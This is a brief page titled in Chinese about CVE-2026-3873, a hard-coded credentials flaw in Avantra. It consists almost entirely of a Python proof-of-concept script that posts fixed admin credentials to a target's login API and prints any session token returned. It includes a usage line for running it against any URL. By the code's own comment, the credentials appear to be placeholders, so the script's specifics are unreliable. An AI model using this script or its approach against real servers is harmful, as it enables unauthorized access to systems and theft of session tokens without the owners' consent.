CVE-2026-3873: Avantra硬编码凭证漏洞导致未授权访问

# CVE-2026-3873 PoC - Avantra Hard-coded Credentials # Reference: https://support.avantra.com/hc/en-us/articles/5352465121695 import requests import sys def exploit_avantra(target_url): """ Exploit for CVE-2026-3873: Hard-coded Credentials in Avantra This PoC demonstrates authentication bypass using default credentials """ login_endpoint = f"{target_url.rstrip('/')}/api/login" # Hard-coded credentials (found in legacy versions) # Note: Actual credentials should be obtained from official security advisory payload = { "username": "legacy_admin", "password": "backdoor_password_123" } try: response = requests.post(login_endpoint, json=payload, timeout=10) if response.status_code == 200: data = response.json() if data.get('success') or 'token' in data: print(f"[+] Authentication successful!") print(f"[+] Token: {data.get('token', 'N/A')}") return True print(f"[-] Authentication failed. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://avantra-server:443") sys.exit(1) exploit_avantra(sys.argv[1])